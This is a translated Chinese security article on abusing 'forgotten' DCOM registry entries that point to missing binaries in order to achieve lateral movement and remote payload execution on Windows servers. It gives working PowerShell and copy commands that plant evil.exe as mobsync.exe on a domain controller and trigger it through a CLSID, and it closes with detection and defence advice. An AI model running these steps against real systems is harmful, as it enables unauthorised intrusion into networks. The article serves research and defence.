如何濫用DCOM實現橫向滲透
責編：gltian ｜2018-05-10 15:08:56一、前言
在本文中我們討論了如何利用DCOM實現橫向滲透以及執行載荷，主要原理是找到特定的DCOM注冊表鍵值，這些鍵值指向“遠程”主機上并不存在一些二進制程序。如果\targetadmin$system32目錄中不存在mobsync.exe，那么這種方法很有可能行之有效，而這剛好是Windows 2008 R2以及Windows 2012 R2操作系統上的默認設置。如果我們具備目標主機的管理員權限（通過PowerShell接口），那么我們可以執行如下操作：
- dir \targetsystem32mobsync.exe //該文件應該不存在
- copy evil.exe \targetadmin$system32mobsync.exe
- [activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
在本文中，我們將回顧一種“新穎的”、“簡單”的方法，通過濫用DCOM（Distributed Component Object Model）實現遠程載荷執行以及橫向滲透。一般來說，這種技術相對比較原始，但可以作為其他常用的已知方法的替代方案。本文的主要內容包括：
1、簡單介紹DCOM橫向滲透技術（附帶參考資料）；
2、本文的研究動機；
3、“并不復雜的”DCOM橫向滲透方法；
4、建議防御方如何檢測/防御此類攻擊。
二、DCOM背景
在過去的一年半時間內，已經有許多人詳細介紹了DCOM橫向滲透技術。Matt Nelson（enigma0x3）身先士卒，發表了一系列非常棒的文章，介紹了利用MMC20.Application、ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等D/COM對象的一些橫向滲透技術。Philip Tsukerman（@PhilipTsukerman）之前發現并提出了非常有趣的WMI橫向滲透技術，也發表了一篇優秀的文章，介紹了DCOM功能的相關背景、橫向滲透技術以及防御建議等。幾個月之前，我發表了一篇文章，介紹了如何濫用ShellWindows及ShellBrowserWindow的Navigate以及Navigate2函數，啟動可執行文件或者“url”文件，在遠程主機上執行攻擊載荷。在繼續閱讀本文之前，我強烈建議大家閱讀一下這些資料。
請注意：本文提到的這些想法以及樣例可能對資深攻擊者來說可能有點小兒科，然而，我相信許多睿智的攻擊者會基于風險評估來衡量什么才是最好的操作，因此他們很有可能不會每次都拿出他們的看家本領、工具、策略以及步驟來實現其預期效果以及/或者目標。因此，這里介紹的技術和方法仍然有其價值所在。
三、研究動機
幾星期之前，我決定虛擬化處理一臺老舊筆記本上的操作系統。轉換過程非常痛苦，排除一些故障后（伴隨著大量重啟操作），我終于成功完成虛擬化，配置了正確的虛擬化驅動以及工具。然而，我想研究下這個決定是否足夠安全，物理主機上有沒有遺留的一些“有趣”的東西。我沒有什么規章法則可以遵循，也沒有興趣去做數字取證。我選擇好好研究一下注冊表，并且很快就找到了一個有趣的CLSID注冊表路徑，該路徑引用了一個二進制文件，該文件很可能是老筆記本上為某個（驅動）程序提供實用功能或者診斷功能的一個程序：
通過簡單的DIR命令，我們就知道磁盤上并不存在C:WINDOWSsystem32IntelCpHDCPSvc.exe這個程序：
首先映入我腦海的是四個想法：
1、我并不知道IntelCpHDCPSvc.exe究竟是什么；
2、卸載程序并沒有完全卸載老軟件的所有注冊表項；
3、我應該更仔細地檢查和信任主機上那些軟件（這又是另一個話題了）；
4、這看起來像是一個DCOM應用（我們可以使用Get-CimInstance Win32_DCOMApplication查詢語句驗證這一點）：
經過一番Google后，我發現IntelCpHDCPSvc.exe與Intel的內容保護HDCP服務（Intel Content Protection HDCP Service）有關，但對我而言最有意思的是，LocalServer32以及InProcServer32這兩個注冊表項指向了本應該存在的二進制文件路徑，這些不存在的文件可能會帶來一些安全隱患。由于實際攻擊中我們很少看到IntelCpHDCPSvc的身影，因此我想看看能否找到機會，利用Microsoft Windows Server上已有的、“被遺忘的”DCOM做些壞事。
四、 利用“被遺忘的”DCOM進行橫向滲透
定位二進制
第一步就是在DCOM應用中找到合適的二進制文件路徑。為了完成這個任務，我編寫了非常粗糙的PowerShell命令，從打上完整補丁的Windows Server 2012上獲取LocalServer32可執行文件以及InProcServer32 DLL信息，具體命令如下：
gwmi Win32_COMSetting -computername 127.0.0.1 | ft LocalServer32 -autosize | Out-String -width 4096 | out-file dcom_exes.txt
gwmi Win32_COMSetting -computername 127.0.0.1 | ft InProcServer32 -autosize | Out-String -width 4096 | out-file dcom_dlls.txt
格式化輸出結果并刪除冗余信息后，我們可以從Windows 2012主機上得到如下信息：
將兩個結果文件拼接起來，刪除某些參數字符串后，我們可以使用如下命令測試這些文件在磁盤上的存活情況：
$file = gc C:Userstestdesktopdcom_things.txt
foreach ($binpath in $file) {
$binpath
cmd.exe /c dir $binpath > $null
}
很快就能得到結果：
%SystemRoot%system32mobsync.exe
File Not Found
這個文件的確不存在，如下圖所示：
根據How-To Geek的描述，mobsync是“Microsoft同步中心以及脫機文件功能的一個進程”。了解這一點非常好，但因為其他原因，mobsync.exe又開始變得非常有趣起來……
驗證AppID以及CLSID
之前我并沒有很好地掌握枚舉對應的AppID以及CLSID的方法，因此我選擇瀏覽注冊表來查找這些信息，如下圖所示：
具體一點，在下一階段中，我們需要[C947D50F-378E-4FF6-8835-FCB50305244D]這個CLSID來創建DCOM對象的實例。
五、遠程載荷執行/橫向滲透
現在我們已經找到了候選的D/COM對象，可以嘗試下實現遠程載荷執行。在繼續處理之前，我們首先要注意滿足如下條件：
1、為了遠程實例化DCOM對象，我們必須擁有正確的權限，只要具備管理員權限就可以。
2、為了最大化利用載荷執行的價值，我們將以域環境為例進行滲透。在這個例子中，我們將假設自己已經取得了域管理員憑據，然后從Windows 10客戶端出發，完成Windows 2012域控制器（DC）上的遠程執行任務。
3、其他各種天時地利人和因素……
首先有請我們的惡意載荷登場，并且確保目標系統上并不存在mobsync.exe（添加的某些角色或者管理員的某些操作可能會影響這個條件）：
dir C:evil.exe
dir \acmedcadmin$system32mobsync.exe
非常好！目標上并不存在mobsync.exe，并且我們的evil.exe載荷成功規避了各種類型的主機防御機制，因此我們可以將其拷貝到DC上：
copy C:evil.exe \acmedcadmin$system32mobsync.exe
dir \acmedcadmin$system32mobsync.exe
由于我們的二進制程序對DCOM并不“感冒”，因此實例化過程應該會以失敗告終，但還是可以成功觸發載荷。我們可以來試一下：
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
在Windows 10這臺域主機上情況如下：
在Windows 2012域控上情況如下：
非常好！“惡意的”mobsync.exe成功執行了我們的“惡意”notepad.exe載荷！
六、附加說明及其他“簡單”的方法
對于Windows Server 2008來說這種技術也可能有效，因為默認情況下mobsync.exe并沒有位于system32目錄中。然而，Windows 2016服務器上system32目錄中已經存在mobsync.exe。
還有其他一些方法有可能會達到類似的DCOM橫向滲透效果。前面提到過，系統中有大量對DCOM“感冒”的二進制程序。比較簡單的一種方法是（臨時性地）“替換”其中某個程序，然后執行類似的調用操作。劫持遠程主機上的mshta.exe在實際環境中可能也是一種方法，然而操控遠程文件系統（比如文件的復制/移動操作、遠程文件權限等）是非常令人頭疼的事情，并且也會增加被檢測到的風險。
另一種（比較乏味的）方法就是遠程操控注冊表，修改DCOM程序所對應的CLSID LocalServer32鍵值，將其指向磁盤上的另一個位置或者遠程文件共享。與前一種方法類似，這種方法涉及到注冊表權限以及修改操作，也會引入被檢測到的額外風險。
對DCOM“感冒”的第三方應用、程序以及實用工具可能提供了一些機會，讓我們定位“被遺忘的”DCOM路徑，實現類似的橫向滲透效果。IntelCpHDCPSvc.exe就是一個典型的例子，但可能并不是最好的選項。然而對某些單位來說，每隔幾年就購買并布置全新的、干凈的計算機設備是非常正常的一件事情。在設備“刷新”過程中，計算機需要進行維護、打補丁以及升級。刪除特定的實用軟件以及老的設備驅動后，計算機上很可能會殘留一些東西（比如注冊表中的DCOM配置信息），這也會給攻擊者鋪開橫向滲透攻擊路徑。有恒心有毅力的攻擊者可能會孜孜不倦地盯著這件事情。
其他版本的Windows上（包括客戶端設備）可能會殘留對某些DCOM程序的引用，如有需要大家可以盡情探索。
七、防御建議
廠商
1、確保卸載實用軟件時，刪除遺留的DCOM注冊表項；
2、不要在注冊表中創建指向并不存在的二進制文件的DCOM程序路徑。
網絡防御方
1、總的說來，防御方應該認真閱讀@enigma0x3以及@PhilipTsukerman在博客中給出的建議，針對性地捕捉相關IOC；
2、想使用這些DCOM方法（通常）需要遠程主機的特權訪問。請保護具備高級權限的域賬戶，避免本地主機賬戶復用密碼憑據；
3、請確保部署了深度防御控制策略、基于主機的安全產品并監控主機，以檢測/阻止可以活動。啟用基于主機的防火墻可以阻止RPC/DCOM交互及實例化操作；
4、監控文件系統（以及注冊表），關注新引入的元素以及改動；
5、監控環境中可疑的PowerShell操作。如有可能，請強制啟用PowerShell的“Constrained Language Mode（約束語言模式）”（這對特權賬戶來說可能有點難）；
6、在DCOM調用“失敗”時，目標主機上的System日志中會生成ID為10010的事件（Error, DistributedCOM），其中包含CLSID信息。
